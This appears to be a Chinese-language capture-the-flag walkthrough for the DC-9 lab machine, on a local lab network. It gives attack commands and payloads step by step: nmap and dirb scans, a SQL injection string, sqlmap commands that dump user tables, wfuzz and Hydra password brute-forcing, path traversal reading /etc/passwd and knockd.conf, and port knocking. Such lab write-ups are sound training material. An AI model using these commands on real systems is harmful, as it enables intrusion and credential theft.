主机发现
使用命令 arp-scan -l,得知dc-9主机ip为192.168.138.140
端口扫描
使用命令 nmap -A 192.168.138.140全面扫描或nmap -sC -sV -oA dc-9 192.168.138.140针对dc-9扫描,获得dc-9主机开放端口为22和80
数据库
浏览器访问
浏览器访问192.168.138.140
使用dirb http://192.168.138.140或nikto -host 192.168.138.140进行目录扫描,无有用信息
获取数据
在search模块下尝试sql注入,输入 ' or 1=1 --+,获得全部数据,得知此处存在sql注入
通过抓包得知请求地址为192.168.138.140/results.php,请求方式为post,请求参数为search
使用sqlmap命令扫描
sqlmap -u "http://192.168.138.140/results.php" -data "search=1" --dbs
获得数据库中所有库
查看users库中所有表
sqlmap -u "http://192.168.138.140/results.php" -data "search=1" -D users --tables
查看UserDetails中所有数据
sqlmap -u "http://192.168.138.140/results.php" -data "search=1" -D users -T UserDetails --dump
密码爆破
使用username做user-dict字典,password做pass-dict字典,使用wfuzz爆破manage中登录框
wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.142.139/manage.php? username=FUZZ&password=FUZ2Z "
其中--hw 87为过滤长度为87的返回数据
没有得到正确的用户名和密码,尝试查看另一个库Staff
sqlmap -u "http://192.168.138.140/results.php" -data "search=1" -D Staff --tables
查看Users表中所有数据
sqlmap -u "http://192.168.138.140/results.php" -data "search=1" -D Staff -T Users --dump
使用得到的用户名和密码登录manage.php
web后台
页面存在file does not exist,考虑文件漏洞
根据linux特性,url查看/etc/passwd文件
http://192.168.138.140/welcome.php?file==../../../../../../../../../etc/passwd
80端口测试暂停,转测22端口
Hydra爆破SSH密码
使用命令爆破,发现22端口被拒绝
hydra -L user-dict -P pass-dict 192.168.138.140 ssh
猜测原因可能为:1.端口被限制 2.用户被限制登录 3.运行knockd服务
尝试进入查看knockd配置文件,发现需按照顺序执行敲门
http://192.168.138.140/welcome.php?file=../../../../../../../../../etc/knockd.conf
执行nmap访问对应端口
nmap -p 7469 192.168.138.140
nmap -p 8475 192.168.138.140
nmap -p 9842 192.168.138.140
再次访问22端口,使用hydra爆破
hydra -L user-dict -P pass-dict 192.168.138.140 ssh